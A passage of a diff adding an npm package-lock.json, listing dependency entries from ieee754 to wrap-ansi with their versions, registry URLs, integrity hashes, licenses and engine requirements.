+      "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==",
+      "license": "MIT",
+      "dependencies": {
+        "agent-base": "^7.1.2",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/ieee754": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+      "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/inherits": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+      "license": "ISC"
+    },
+    "node_modules/is-fullwidth-code-point": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-plain-object": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+      "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-stream": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
+      "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/isarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
+      "license": "MIT"
+    },
+    "node_modules/isexe": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+      "license": "ISC"
+    },
+    "node_modules/jackspeak": {
+      "version": "3.4.3",
+      "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz",
+      "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==",
+      "license": "BlueOak-1.0.0",
+      "dependencies": {
+        "@isaacs/cliui": "^8.0.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      },
+      "optionalDependencies": {
+        "@pkgjs/parseargs": "^0.11.0"
+      }
+    },
+    "node_modules/jwt-decode": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-3.1.2.tgz",
+      "integrity": "sha512-UfpWE/VZn0iP50d8cz9NrZLM9lSWhcJ+0Gt/nm4by88UL+J1SiKN8/5dkjMmbEzwL2CAe+67GsegCbIKtbp75A==",
+      "license": "MIT"
+    },
+    "node_modules/lazystream": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz",
+      "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==",
+      "license": "MIT",
+      "dependencies": {
+        "readable-stream": "^2.0.5"
+      },
+      "engines": {
+        "node": ">= 0.6.3"
+      }
+    },
+    "node_modules/lazystream/node_modules/readable-stream": {
+      "version": "2.3.8",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
+      "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+      "license": "MIT",
+      "dependencies": {
+        "core-util-is": "~1.0.0",
+        "inherits": "~2.0.3",
+        "isarray": "~1.0.0",
+        "process-nextick-args": "~2.0.0",
+        "safe-buffer": "~5.1.1",
+        "string_decoder": "~1.1.1",
+        "util-deprecate": "~1.0.1"
+      }
+    },
+    "node_modules/lazystream/node_modules/safe-buffer": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+      "license": "MIT"
+    },
+    "node_modules/lazystream/node_modules/string_decoder": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+      "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "license": "MIT",
+      "dependencies": {
+        "safe-buffer": "~5.1.0"
+      }
+    },
+    "node_modules/lodash": {
+      "version": "4.17.21",
+      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+      "license": "MIT"
+    },
+    "node_modules/lru-cache": {
+      "version": "10.4.3",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
+      "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==",
+      "license": "ISC"
+    },
+    "node_modules/minimatch": {
+      "version": "9.0.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
+      "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=16 || 14 >=14.17"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/minimist": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
+      "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/minipass": {
+      "version": "7.1.2",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
+      "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=16 || 14 >=14.17"
+      }
+    },
+    "node_modules/mkdirp": {
+      "version": "0.5.6",
+      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
+      "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
+      "license": "MIT",
+      "dependencies": {
+        "minimist": "^1.2.6"
+      },
+      "bin": {
+        "mkdirp": "bin/cmd.js"
+      }
+    },
+    "node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT"
+    },
+    "node_modules/node-fetch": {
+      "version": "2.7.0",
+      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz",
+      "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==",
+      "license": "MIT",
+      "dependencies": {
+        "whatwg-url": "^5.0.0"
+      },
+      "engines": {
+        "node": "4.x || >=6.0.0"
+      },
+      "peerDependencies": {
+        "encoding": "^0.1.0"
+      },
+      "peerDependenciesMeta": {
+        "encoding": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/normalize-path": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+      "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "license": "ISC",
+      "dependencies": {
+        "wrappy": "1"
+      }
+    },
+    "node_modules/package-json-from-dist": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz",
+      "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==",
+      "license": "BlueOak-1.0.0"
+    },
+    "node_modules/path-key": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+      "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/path-scurry": {
+      "version": "1.11.1",
+      "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz",
+      "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==",
+      "license": "BlueOak-1.0.0",
+      "dependencies": {
+        "lru-cache": "^10.2.0",
+        "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
+      },
+      "engines": {
+        "node": ">=16 || 14 >=14.18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/process": {
+      "version": "0.11.10",
+      "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
+      "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6.0"
+      }
+    },
+    "node_modules/process-nextick-args": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+      "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
+      "license": "MIT"
+    },
+    "node_modules/readable-stream": {
+      "version": "4.7.0",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz",
+      "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==",
+      "license": "MIT",
+      "dependencies": {
+        "abort-controller": "^3.0.0",
+        "buffer": "^6.0.3",
+        "events": "^3.3.0",
+        "process": "^0.11.10",
+        "string_decoder": "^1.3.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      }
+    },
+    "node_modules/readdir-glob": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz",
+      "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "minimatch": "^5.1.0"
+      }
+    },
+    "node_modules/readdir-glob/node_modules/minimatch": {
+      "version": "5.1.6",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz",
+      "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==",
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/safe-buffer": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT"
+    },
+    "node_modules/shebang-command": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+      "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+      "license": "MIT",
+      "dependencies": {
+        "shebang-regex": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/shebang-regex": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+      "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/signal-exit": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
+      "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=14"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/streamx": {
+      "version": "2.22.1",
+      "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.22.1.tgz",
+      "integrity": "sha512-znKXEBxfatz2GBNK02kRnCXjV+AA4kjZIUxeWSr3UGirZMJfTE9uiwKHobnbgxWyL/JWro8tTq+vOqAK1/qbSA==",
+      "license": "MIT",
+      "dependencies": {
+        "fast-fifo": "^1.3.2",
+        "text-decoder": "^1.1.0"
+      },
+      "optionalDependencies": {
+        "bare-events": "^2.2.0"
+      }
+    },
+    "node_modules/string_decoder": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "license": "MIT",
+      "dependencies": {
+        "safe-buffer": "~5.2.0"
+      }
+    },
+    "node_modules/string-width": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
+      "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
+      "license": "MIT",
+      "dependencies": {
+        "eastasianwidth": "^0.2.0",
+        "emoji-regex": "^9.2.2",
+        "strip-ansi": "^7.0.1"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/string-width-cjs": {
+      "name": "string-width",
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
+      "dependencies": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/string-width-cjs/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/string-width-cjs/node_modules/emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
+    },
+    "node_modules/string-width-cjs/node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-ansi": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
+      "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-regex": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/strip-ansi?sponsor=1"
+      }
+    },
+    "node_modules/strip-ansi-cjs": {
+      "name": "strip-ansi",
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-ansi-cjs/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strnum": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.1.1.tgz",
+      "integrity": "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/NaturalIntelligence"
+        }
+      ],
+      "license": "MIT"
+    },
+    "node_modules/tar-stream": {
+      "version": "3.1.7",
+      "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.7.tgz",
+      "integrity": "sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==",
+      "license": "MIT",
+      "dependencies": {
+        "b4a": "^1.6.4",
+        "fast-fifo": "^1.2.0",
+        "streamx": "^2.15.0"
+      }
+    },
+    "node_modules/text-decoder": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.3.tgz",
+      "integrity": "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "b4a": "^1.6.4"
+      }
+    },
+    "node_modules/tr46": {
+      "version": "0.0.3",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
+      "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==",
+      "license": "MIT"
+    },
+    "node_modules/traverse": {
+      "version": "0.3.9",
+      "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.3.9.tgz",
+      "integrity": "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ==",
+      "license": "MIT/X11",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/tslib": {
+      "version": "2.8.1",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+      "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+      "license": "0BSD"
+    },
+    "node_modules/tunnel": {
+      "version": "0.0.6",
+      "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
+      "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.6.11 <=0.7.0 || >=0.7.3"
+      }
+    },
+    "node_modules/typescript": {
+      "version": "3.9.10",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.9.10.tgz",
+      "integrity": "sha512-w6fIxVE/H1PkLKcCPsFqKE7Kv7QUwhU8qQY2MueZXWx5cPZdwFupLgKK3vntcK98BtNHZtAF4LA/yl2a7k8R6Q==",
+      "license": "Apache-2.0",
+      "bin": {
+        "tsc": "bin/tsc",
+        "tsserver": "bin/tsserver"
+      },
+      "engines": {
+        "node": ">=4.2.0"
+      }
+    },
+    "node_modules/undici": {
+      "version": "5.29.0",
+      "resolved": "https://registry.npmjs.org/undici/-/undici-5.29.0.tgz",
+      "integrity": "sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==",
+      "license": "MIT",
+      "dependencies": {
+        "@fastify/busboy": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=14.0"
+      }
+    },
+    "node_modules/universal-user-agent": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.1.tgz",
+      "integrity": "sha512-yCzhz6FN2wU1NiiQRogkTQszlQSlpWaw8SvVegAc+bDxbzHgh1vX8uIe8OYyMH6DwH+sdTJsgMl36+mSMdRJIQ==",
+      "license": "ISC"
+    },
+    "node_modules/unzip-stream": {
+      "version": "0.3.4",
+      "resolved": "https://registry.npmjs.org/unzip-stream/-/unzip-stream-0.3.4.tgz",
+      "integrity": "sha512-PyofABPVv+d7fL7GOpusx7eRT9YETY2X04PhwbSipdj6bMxVCFJrr+nm0Mxqbf9hUiTin/UsnuFWBXlDZFy0Cw==",
+      "license": "MIT",
+      "dependencies": {
+        "binary": "^0.3.0",
+        "mkdirp": "^0.5.1"
+      }
+    },
+    "node_modules/util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+      "license": "MIT"
+    },
+    "node_modules/webidl-conversions": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
+      "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==",
+      "license": "BSD-2-Clause"
+    },
+    "node_modules/whatwg-url": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
+      "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==",
+      "license": "MIT",
+      "dependencies": {
+        "tr46": "~0.0.3",
+        "webidl-conversions": "^3.0.0"
+      }
+    },
+    "node_modules/which": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+      "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "license": "ISC",
+      "dependencies": {
+        "isexe": "^2.0.0"
+      },
+      "bin": {
+        "node-which": "bin/node-which"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/wrap-ansi": {
+      "version": "8.1.0",
+      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
+      "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-styles": "^6.1.0",
+        "string-width": "^5.0.1",
+        "strip-ansi": "^7.0.1"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+      }
+    },
+    "node_modules/wrap-ansi-cjs": {
+      "name": "wrap-ansi",
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+      "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-styles": "^4.0.0",
+        "string-width": "^4.1.0",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+      }
+    },
+    "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": {
+      "version": "5.0.1",
